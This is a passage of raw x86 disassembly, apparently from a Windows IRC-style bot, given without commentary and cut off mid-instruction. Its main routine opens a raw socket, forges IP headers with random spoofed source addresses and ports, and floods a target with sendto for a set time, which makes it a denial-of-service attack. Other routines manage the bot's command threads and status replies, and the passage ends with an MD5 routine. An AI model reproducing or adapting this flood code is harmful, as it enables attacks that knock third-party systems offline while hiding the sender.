-0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 250h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Ah mov esi, eax pop ecx lea edi, [ebp+var_250] rep movsd xor esi, esi inc esi mov [eax+1A4h], esi mov eax, [ebp+var_250] mov [ebp+arg_0], eax lea eax, [ebp+var_24C] push eax call sub_4140CF pop ecx mov [ebp+var_10], eax push 8 xor edx, edx pop ecx mov ebx, 0FFh xor eax, eax cmp [ebp+var_B0], 1 lea edi, [ebp+var_64] mov [ebp+var_98], edx mov [ebp+var_94], esi mov [ebp+var_90], 2 mov [ebp+var_8C], 4 mov [ebp+var_88], 6 mov [ebp+var_84], ecx mov [ebp+var_80], 0Ch mov [ebp+var_7C], 11h mov [ebp+var_78], 16h mov [ebp+var_74], 29h mov [ebp+var_70], 3Ah mov [ebp+var_6C], ebx mov [ebp+var_68], edx mov [ebp+var_2C], esi mov esi, 200h stosd lea edi, [ebp+var_34] mov [ebp+var_5C], edx mov [ebp+var_58], edx mov [ebp+var_54], edx mov [ebp+var_50], esi mov [ebp+var_4C], ecx mov [ebp+var_48], 1000h mov [ebp+var_44], 2000h mov [ebp+var_40], 3FFFh mov [ebp+var_3C], ebx mov [ebp+var_38], edx stosd jnz short loc_41BC82 push offset dword_4552D0 call sub_4140CF pop ecx jmp short loc_41BCA8 ; --------------------------------------------------------------------------- loc_41BC82: ; CODE XREF: sub_41BB8F+E4j lea eax, [ebp+var_24C] push 100h push eax call dword_42F2A8 ; gethostname lea eax, [ebp+var_24C] push eax call dword_42F274 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41BCA8: ; CODE XREF: sub_41BB8F+F1j push ebx push 3 push 2 mov [ebp+var_4], eax call dword_42F29C ; socket lea ecx, [ebp+var_2C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_8], eax call dword_42F2B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_41BD06 push [ebp+var_8] call dword_42F298 ; closesocket push [ebp+var_CC] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_0] push esi call sub_41074B mov ecx, [ebp+arg_0] push offset dword_43963C push esi call sub_410720 jmp loc_41BECE ; --------------------------------------------------------------------------- loc_41BD06: ; CODE XREF: sub_41BB8F+13Fj push 8 call sub_41C235 test eax, eax pop ecx jle short loc_41BD39 push offset aStopped_ ; "Stopped." push 8 push edi push edi push [ebp+var_B8] lea eax, [ebp+var_14C] push [ebp+var_B4] push [ebp+arg_0] push eax call sub_41C090 add esp, 20h loc_41BD39: ; CODE XREF: sub_41BB8F+181j push esi call sub_422F79 mov edi, dword_42F2B8 pop ecx push [ebp+var_C8] mov [ebp+var_C], eax mov eax, [ebp+var_10] mov [ebp+var_A8], 2 mov [ebp+var_A4], eax call edi ; dword_42F2B8 mov [ebp+var_A6], ax call dword_42F164 ; GetTickCount mov [ebp+var_14], eax jmp loc_41BE46 ; --------------------------------------------------------------------------- loc_41BD78: ; CODE XREF: sub_41BB8F+2CFj call sub_4220FC cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_4] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_4], edx call sub_4220FC cdq mov ecx, ebx idiv ecx mov [ebp+var_60], edx call sub_4220FC cdq mov ecx, 1FA4h mov [ebp+var_28], 45h idiv ecx mov [ebp+var_27], 4 mov [ebp+var_30], edx call sub_4220FC mov [ebp+var_24], ax call sub_4220FC push 0Bh cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_5C] push eax call edi ; dword_42F2B8 push esi mov [ebp+var_22], ax call edi ; dword_42F2B8 mov [ebp+var_26], ax mov [ebp+var_20], bl call sub_4220FC push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_98] mov [ebp+var_1F], al mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov eax, [ebp+var_10] mov [ebp+var_18], eax lea eax, [ebp+var_28] push eax call sub_414271 mov [ebp+var_1E], ax lea eax, [ebp+var_28] push 14h push eax push [ebp+var_C] call sub_4223F0 add esp, 14h lea eax, [ebp+var_A8] push 10h push eax push 0 push esi push [ebp+var_C] push [ebp+var_8] call dword_42F2A4 ; sendto push [ebp+var_C0] call dword_42F15C ; Sleep loc_41BE46: ; CODE XREF: sub_41BB8F+1E4j call dword_42F164 ; GetTickCount sub eax, [ebp+var_14] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_C4] jbe loc_41BD78 push [ebp+var_C] call sub_4230B3 pop ecx push [ebp+var_8] call dword_42F298 ; closesocket push [ebp+var_CC] call sub_41C059 xor ebx, ebx pop ecx cmp [ebp+var_B4], ebx mov edi, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1" mov esi, offset aSDone_ ; "%s Done." jnz short loc_41BEB2 cmp [ebp+var_B8], ebx jnz short loc_41BEBA push edi lea eax, [ebp+var_14C] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 10h loc_41BEB2: ; CODE XREF: sub_41BB8F+305j cmp [ebp+var_B8], ebx jz short loc_41BECE loc_41BEBA: ; CODE XREF: sub_41BB8F+30Dj push edi lea eax, [ebp+var_14C] push esi push eax push [ebp+arg_0] call sub_410491 add esp, 10h loc_41BECE: ; CODE XREF: sub_41BB8F+172j ; sub_41BB8F+329j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41BB8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BED7 proc near ; CODE XREF: sub_401477+EDp ; sub_40178D+BFp ... var_FE8 = byte ptr -0FE8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 0FE8h lea eax, [ebp+arg_8] push edi push eax lea eax, [ebp+var_FE8] push [ebp+arg_4] push 0FE6h push eax call sub_423640 add esp, 10h xor edi, edi mov eax, offset dword_46C408 loc_41BF03: ; CODE XREF: sub_41BED7+3Cj cmp byte ptr [eax], 0 jz short loc_41BF17 add eax, 1018h inc edi cmp eax, offset dword_630E38 jl short loc_41BF03 jmp short loc_41BF53 ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BED7+2Fj push esi mov esi, edi imul esi, 1018h lea eax, [ebp+var_FE8] push 0FFFh push eax lea eax, dword_46C408[esi] push eax call sub_4222F0 mov eax, [ebp+arg_0] and dword_46D40C[esi], 0 add esp, 0Ch and dword_46D410[esi], 0 mov dword_46D408[esi], eax pop esi loc_41BF53: ; CODE XREF: sub_41BED7+3Ej mov eax, edi pop edi leave retn sub_41BED7 endp ; =============== S U B R O U T I N E ======================================= sub_41BF58 proc near ; CODE XREF: sub_403B2C+A15p ; sub_41BFDA+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_41BFD4 cmp esi, 1C2h jge short loc_41BFD4 imul esi, 1018h push edi push ebx lea edi, dword_46D414[esi] push dword ptr [edi] call dword_42F048 ; TerminateThread cmp [edi], ebx jz short loc_41BF8A inc ebp loc_41BF8A: ; CODE XREF: sub_41BF58+2Fj mov [edi], ebx lea edi, dword_46D410[esi] mov dword_46D408[esi], ebx mov dword_46D40C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_41BFAB push eax call sub_4188DB pop ecx loc_41BFAB: ; CODE XREF: sub_41BF58+4Aj mov [edi], ebx lea edi, dword_46D418[esi] mov byte ptr dword_46C408[esi], bl push dword ptr [edi] call dword_4543AC ; closesocket lea esi, dword_46D41C[esi] mov [edi], ebx push dword ptr [esi] call dword_4543AC ; closesocket mov [esi], ebx pop edi loc_41BFD4: ; CODE XREF: sub_41BF58+Dj ; sub_41BF58+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_41BF58 endp ; =============== S U B R O U T I N E ======================================= sub_41BFDA proc near ; CODE XREF: sub_403B2C+9BDp ; sub_412267+54Ep ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_46C408 loc_41BFE6: ; CODE XREF: sub_41BFDA+2Aj cmp byte ptr [esi], 0 jz short loc_41BFF7 push edi call sub_41BF58 test eax, eax pop ecx jz short loc_41BFF7 inc ebx loc_41BFF7: ; CODE XREF: sub_41BFDA+Fj ; sub_41BFDA+1Aj add esi, 1018h inc edi cmp esi, offset dword_630E38 jl short loc_41BFE6 pop edi mov eax, ebx pop esi pop ebx retn sub_41BFDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C00C proc near ; CODE XREF: sub_41C090+1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_46D40C loc_41C020: ; CODE XREF: sub_41C00C+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_41C042 test edi, edi jle short loc_41C034 cmp [esi], edi jz short loc_41C034 cmp ebx, edi jnz short loc_41C042 loc_41C034: ; CODE XREF: sub_41C00C+1Ej ; sub_41C00C+22j push ebx call sub_41BF58 test eax, eax pop ecx jz short loc_41C042 inc [ebp+var_4] loc_41C042: ; CODE XREF: sub_41C00C+1Aj ; sub_41C00C+26j ... add esi, 1018h inc ebx cmp esi, offset dword_631E3C jl short loc_41C020 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41C00C endp ; =============== S U B R O U T I N E ======================================= sub_41C059 proc near ; CODE XREF: sub_40178D+16Bp ; sub_401906+166p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 1018h mov dword_46D414[eax], ecx mov dword_46D408[eax], ecx mov dword_46D40C[eax], ecx mov dword_46D410[eax], ecx mov dword_46D418[eax], ecx mov dword_46D41C[eax], ecx mov byte ptr dword_46C408[eax], cl retn sub_41C059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C090 proc near ; CODE XREF: sub_403B2C+631Dp ; sub_403B2C+6333p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_14], eax jz short loc_41C0A3 push [ebp+arg_14] call sub_422B5A pop ecx loc_41C0A3: ; CODE XREF: sub_41C090+8j push ebx push esi push edi push eax push [ebp+arg_18] call sub_41C00C mov ebx, eax pop ecx test ebx, ebx pop ecx mov esi, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." jle short loc_41C0FD cmp [ebp+arg_8], 0 mov edi, offset aSSDThreadSStop ; "%s %s (%d thread(s) stopped)." jnz short loc_41C0E1 cmp [ebp+arg_C], 0 jnz short loc_41C0E7 push ebx push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 18h loc_41C0E1: ; CODE XREF: sub_41C090+35j cmp [ebp+arg_C], 0 jz short loc_41C13E loc_41C0E7: ; CODE XREF: sub_41C090+3Bj push ebx push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_410491 add esp, 18h jmp short loc_41C13E ; --------------------------------------------------------------------------- loc_41C0FD: ; CODE XREF: sub_41C090+2Aj xor ebx, ebx mov edi, offset aSNoSThreadFoun ; "%s No %s thread found." cmp [ebp+arg_8], ebx jnz short loc_41C126 cmp [ebp+arg_C], ebx jnz short loc_41C12B cmp [ebp+arg_10], ebx jz short loc_41C13E push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 14h loc_41C126: ; CODE XREF: sub_41C090+77j cmp [ebp+arg_C], ebx jz short loc_41C13E loc_41C12B: ; CODE XREF: sub_41C090+7Cj push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_410491 add esp, 14h loc_41C13E: ; CODE XREF: sub_41C090+55j ; sub_41C090+6Bj ... pop edi pop esi pop ebx pop ebp retn sub_41C090 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C143 proc near ; DATA XREF: sub_403B2C+B70o var_244 = dword ptr -244h var_240 = byte ptr -240h var_1C0 = dword ptr -1C0h var_1B0 = dword ptr -1B0h var_18C = dword ptr -18Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 244h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_244] push offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." rep movsd mov ecx, [ebp+var_244] mov dword ptr [eax+0BCh], 1 mov eax, [ebp+var_18C] push offset aSThreadsList ; "%s Threads List:" mov [ebp+var_4], eax mov [ebp+arg_0], ecx test eax, eax lea eax, [ebp+var_240] push eax push ecx jnz short loc_41C19A call sub_4104F6 jmp short loc_41C19F ; --------------------------------------------------------------------------- loc_41C19A: ; CODE XREF: sub_41C143+4Ej call sub_410491 loc_41C19F: ; CODE XREF: sub_41C143+55j add esp, 10h xor ebx, ebx mov edi, offset dword_46C408 mov esi, offset aD_S ; "%d. %s" loc_41C1AE: ; CODE XREF: sub_41C143+B0j cmp byte ptr [edi], 0 jz short loc_41C1E6 xor eax, eax cmp [ebp+var_1B0], eax jnz short loc_41C1C5 cmp [edi+1004h], eax jnz short loc_41C1E6 loc_41C1C5: ; CODE XREF: sub_41C143+78j cmp [ebp+var_4], eax push edi push ebx lea eax, [ebp+var_240] push esi push eax push [ebp+arg_0] jnz short loc_41C1DE call sub_4104F6 jmp short loc_41C1E3 ; --------------------------------------------------------------------------- loc_41C1DE: ; CODE XREF: sub_41C143+92j call sub_410491 loc_41C1E3: ; CODE XREF: sub_41C143+99j add esp, 14h loc_41C1E6: ; CODE XREF: sub_41C143+6Ej ; sub_41C143+80j add edi, 1018h inc ebx cmp edi, offset dword_630E38 jl short loc_41C1AE cmp [ebp+var_4], 0 pop edi pop esi pop ebx lea eax, [ebp+var_240] push offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." push offset aSEndOfList_ ; "%s End of list." push eax push [ebp+arg_0] jnz short loc_41C219 call sub_4104F6 jmp short loc_41C21E ; --------------------------------------------------------------------------- loc_41C219: ; CODE XREF: sub_41C143+CDj call sub_410491 loc_41C21E: ; CODE XREF: sub_41C143+D4j add esp, 10h push [ebp+var_1C0] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_41C143 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C235 proc near ; CODE XREF: sub_401408+5p ; sub_401477+28p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_46D408 loc_41C23C: ; CODE XREF: sub_41C235+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_41C245 inc eax loc_41C245: ; CODE XREF: sub_41C235+Dj add ecx, 1018h cmp ecx, offset dword_631E38 jl short loc_41C23C retn sub_41C235 endp ; =============== S U B R O U T I N E ======================================= sub_41C254 proc near ; CODE XREF: sub_40281E+Cp ; sub_403B2C+A9Dp ... arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_46D408 push esi loc_41C25E: ; CODE XREF: sub_41C254+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_41C277 add ecx, 1018h inc edx cmp ecx, offset dword_631E38 jl short loc_41C25E pop esi retn ; --------------------------------------------------------------------------- loc_41C277: ; CODE XREF: sub_41C254+10j mov eax, edx pop esi retn sub_41C254 endp ; =============== S U B R O U T I N E ======================================= sub_41C27B proc near ; CODE XREF: sub_41CE88+23p push esi mov esi, ecx call sub_41CE5C mov eax, esi pop esi retn sub_41C27B endp ; =============== S U B R O U T I N E ======================================= sub_41C287 proc near ; CODE XREF: sub_41CDB7+3p and dword ptr [ecx], 0 and dword ptr [ecx+4], 0 mov dword ptr [ecx+8], 67452301h mov dword ptr [ecx+0Ch], 0EFCDAB89h mov dword ptr [ecx+10h], 98BADCFEh mov dword ptr [ecx+14h], 10325476h retn sub_41C287 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2AB proc near ; CODE XREF: sub_41CC38+45p ; sub_41CC38+64p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h mov eax, [ebp+arg_0] xor edx, edx push ebx push esi mov dh, [eax+3] push edi mov dl, [eax+2] movzx esi, byte ptr [eax+1] shl edx, 8 or edx, esi movzx esi, byte ptr [eax] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+5] mov [ebp+var_40], edx xor edx, edx mov dh, [eax+7] mov dl, [eax+6] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+4] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+9] mov [ebp+var_3C], edx xor edx, edx mov dh, [eax+0Bh] mov dl, [eax+0Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+8] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+0Dh] mov [ebp+var_38], edx xor edx, edx mov dh, [eax+0Fh] mov dl, [eax+0Eh] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+0Ch] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+11h] mov [ebp+var_34], edx xor edx, edx mov dh, [eax+13h] mov dl, [eax+12h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+10h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+15h] mov [ebp+var_30], edx xor edx, edx mov dh, [eax+17h] mov dl, [eax+16h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+14h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+19h] mov [ebp+var_2C], edx xor edx, edx mov dh, [eax+1Bh] mov dl, [eax+1Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+18h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+1Dh] mov [ebp+var_28], edx xor edx, edx mov dh, [eax+1Fh] mov dl, [eax+1Eh] shl edx, 8 or edx, esi shl edx, 8 movzx esi, byte ptr [eax+1Ch] or edx, esi movzx esi, byte ptr [eax+21h] mov [ebp+var_24], edx xor edx, edx mov dh, [eax+23h] mov dl, [eax+22h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+20h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+25h] mov [ebp+var_20], edx xor edx, edx mov dh, [eax+27h] mov dl, [eax+26h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+24h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+29h] mov [ebp+var_1C], edx xor edx, edx mov dh, [eax+2Bh] mov dl, [eax+2Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+28h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+2Dh] mov [ebp+var_18], edx xor edx, edx mov dh, [eax+2Fh] mov dl, [eax+2Eh] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+2Ch] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+31h] mov [ebp+var_14], edx xor edx, edx mov dh, [eax+33h] mov dl, [eax+32h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+30h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+35h] mov [ebp+var_10], edx xor edx, edx mov dh, [eax+37h] mov dl, [eax+36h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+34h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+39h] mov [ebp+var_C], edx xor edx, edx mov dh, [eax+3Bh] mov dl, [eax+3Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+38h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+3Dh] mov [ebp+var_8], edx xor edx, edx mov dh, [eax+3Fh] mov dl, [eax+3Eh] movzx eax, byte ptr [eax+3Ch] shl edx, 8 or edx, esi shl edx, 8 mov esi, [ecx+14h] mov edi, [ecx+10h] mov ebx, [ecx+0Ch] or edx, eax mov eax, [ecx+8] mov [ebp+var_4], edx mov edx, esi xor edx, edi and edx, ebx xor edx, esi add edx, eax mov eax, [ebp+var_40] lea edx, [edx+eax-28955B88h] mov eax, edx shr eax, 19h shl edx, 7 or eax, edx mov edx, edi add eax, ebx xor edx, ebx and edx, eax xor edx, edi add edx, [ebp+var_3C] lea esi, [esi+edx-173848AAh] mov edx, esi shr edx, 14h shl esi, 0Ch or edx, esi mov esi, ebx add edx, eax xor esi, eax and esi, edx xor esi, ebx mov ebx, edx add esi, [ebp+var_38] xor ebx, eax lea edi, [edi+esi+242070DBh] mov esi, edi shr esi, 0Fh shl edi, 11h or esi, edi mov edi, [ecx+0Ch] add esi, edx and ebx, esi xor ebx, eax add ebx, [ebp+var_34] lea edi, [edi+ebx-3E423112h] mov ebx, edi shl ebx, 16h shr edi, 0Ah or ebx, edi mov edi, edx add ebx, esi xor edi, esi and edi, ebx mov [ebp+arg_0], ebx xor edi, edx add edi, [ebp+var_30] lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax mov eax, esi add edi, ebx xor eax, ebx and eax, edi xor eax, esi add eax, [ebp+var_2C] lea edx, [edx+eax+4787C62Ah] mov eax, edx shr eax, 14h shl edx, 0Ch or eax, edx mov edx, ebx add eax, edi xor edx, edi and edx, eax xor edx, ebx add edx, [ebp+var_28] lea esi, [esi+edx-57CFB9EDh] mov edx, esi shr edx, 0Fh shl esi, 11h or edx, esi mov esi, eax add edx, eax xor esi, edi and esi, edx xor esi, edi add esi, [ebp+var_24] lea esi, [ebx+esi-2B96AFFh] mov ebx, esi shl ebx, 16h shr esi, 0Ah or ebx, esi mov esi, eax xor esi, edx add ebx, edx and esi, ebx mov [ebp+arg_0], ebx xor esi, eax add esi, [ebp+var_20] lea edi, [edi+esi+698098D8h] mov esi, edi shr esi, 19h shl edi, 7 or esi, edi mov edi, edx add esi, ebx xor edi, ebx and edi, esi xor edi, edx add edi, [ebp+var_1C] lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax mov eax, ebx add edi, esi xor eax, esi and eax, edi xor eax, ebx add eax, [ebp+var_18] lea edx, [edx+eax-0A44Fh] mov eax, edx shr eax, 0Fh shl edx, 11h or eax, edx mov edx, edi add eax, edi xor edx, esi and edx, eax xor edx, esi add edx, [ebp+var_14] lea edx, [ebx+edx-76A32842h] mov ebx, edx shl ebx, 16h shr edx, 0Ah or ebx, edx mov edx, edi add ebx, eax xor edx, eax and edx, ebx mov [ebp+arg_0], ebx xor edx, edi add edx, [ebp+var_10] lea esi, [esi+edx+6B901122h] mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, eax add edx, ebx xor esi, ebx and esi, edx xor esi, eax add esi, [ebp+var_C] lea edi, [edi+esi-2678E6Dh] mov ebx, edi shr ebx, 14h shl edi, 0Ch or ebx, edi mov edi, [ebp+arg_0] mov esi, edi add ebx, edx xor esi, edx and esi, ebx xor esi, edi add esi, [ebp+var_8] lea eax, [eax+esi-5986BC72h] mov esi, eax shr esi, 0Fh shl eax, 11h or esi, eax mov eax, ebx add esi, ebx xor eax, edx and eax, esi xor eax, edx add eax, [ebp+var_4] lea edi, [edi+eax+49B40821h] mov eax, edi shl eax, 16h shr edi, 0Ah or eax, edi mov edi, esi add eax, esi xor edi, eax and edi, ebx xor edi, esi add edi, [ebp+var_3C] lea edx, [edx+edi-9E1DA9Eh] mov edi, edx shr edi, 1Bh shl edx, 5 or edi, edx mov edx, eax add edi, eax xor edx, edi and edx, esi xor edx, eax add edx, [ebp+var_28] lea ebx, [ebx+edx-3FBF4CC0h] mov edx, ebx shr edx, 17h shl ebx, 9 or edx, ebx add edx, edi mov ebx, edx xor ebx, edi and ebx, eax xor ebx, edi add ebx, [ebp+var_14] lea esi, [esi+ebx+265E5A51h] mov ebx, esi shr ebx, 12h shl esi, 0Eh or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_40] lea eax, [eax+esi-16493856h] mov esi, eax shl esi, 14h shr eax, 0Ch or esi, eax mov eax, ebx add esi, ebx xor eax, esi and eax, edx xor eax, ebx add eax, [ebp+var_2C] lea edi, [edi+eax-29D0EFA3h] mov eax, edi shr eax, 1Bh shl edi, 5 or eax, edi add eax, esi mov edi, esi xor edi, eax and edi, ebx xor edi, esi add edi, [ebp+var_18] lea edx, [edx+edi+2441453h] mov edi, edx shr edi, 17h shl edx, 9 or edi, edx add edi, eax mov edx, edi xor edx, eax and edx, esi xor edx, eax add edx, [ebp+var_4] lea ebx, [ebx+edx-275E197Fh] mov edx, ebx shr edx, 12h shl ebx, 0Eh or edx, ebx mov ebx, edi add edx, edi xor ebx, edx and ebx, eax xor ebx, edi add ebx, [ebp+var_30] lea esi, [esi+ebx-182C0438h] mov ebx, esi shl ebx, 14h shr esi, 0Ch or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_1C] lea eax, [eax+esi+21E1CDE6h] mov esi, eax shr esi, 1Bh shl eax, 5 or esi, eax mov eax, ebx add esi, ebx xor eax, esi and eax, edx xor eax, ebx add eax, [ebp+var_8] lea edi, [edi+eax-3CC8F82Ah] mov eax, edi shr eax, 17h shl edi, 9 or eax, edi add eax, esi mov edi, eax xor edi, esi and edi, ebx xor edi, esi add edi, [ebp+var_34] lea edx, [edx+edi-0B2AF279h] mov edi, edx shr edi, 12h shl edx, 0Eh or edi, edx mov edx, eax add edi, eax xor edx, edi and edx, esi xor edx, eax add edx, [ebp+var_20] lea ebx, [ebx+edx+455A14EDh] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, edi add edx, edi xor ebx, edx and ebx, eax xor ebx, edi add ebx, [ebp+var_C] lea esi, [esi+ebx-561C16FBh] mov ebx, esi shr ebx, 1Bh shl esi, 5 or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_38] lea eax, [eax+esi-3105C08h] mov esi, eax shr esi, 17h shl eax, 9 or esi, eax add esi, ebx mov eax, esi mov [ebp+arg_0], esi xor eax, ebx and eax, edx xor eax, ebx add eax, [ebp+var_24] lea eax, [edi+eax+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax add edi, esi xor [ebp+arg_0], edi mov eax, [ebp+arg_0] and eax, ebx xor eax, esi add eax, [ebp+var_10] lea edx, [edx+eax-72D5B376h] mov eax, edx shl eax, 14h shr edx, 0Ch or eax, edx mov edx, [ebp+arg_0] add eax, edi xor edx, eax add edx, [ebp+var_2C] lea ebx, [ebx+edx-5C6BEh] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi add edx, eax xor ebx, eax xor ebx, edx add ebx, [ebp+var_20] lea esi, [esi+ebx-788E097Fh] mov ebx, esi shr ebx, 15h shl esi, 0Bh or ebx, esi add ebx, edx mov esi, ebx mov [ebp+arg_0], ebx xor esi, eax xor esi, edx add esi, [ebp+var_14] lea edi, [edi+esi+6D9D6122h] mov esi, edi shr esi, 10h shl edi, 10h or esi, edi add esi, ebx xor [ebp+arg_0], esi mov edi, [ebp+arg_0] xor edi, edx add edi, [ebp+var_8] lea edi, [eax+edi-21AC7F4h] mov eax, edi shl eax, 17h shr edi, 9 or eax, edi add eax, esi mov edi, [ebp+arg_0] xor edi, eax add edi, [ebp+var_3C] lea edi, [edx+edi-5B4115BCh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, esi add edx, eax xor edi, eax xor edi, edx add edi, [ebp+var_30] lea ebx, [ebx+edi+4BDECFA9h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, edx mov ebx, edi mov 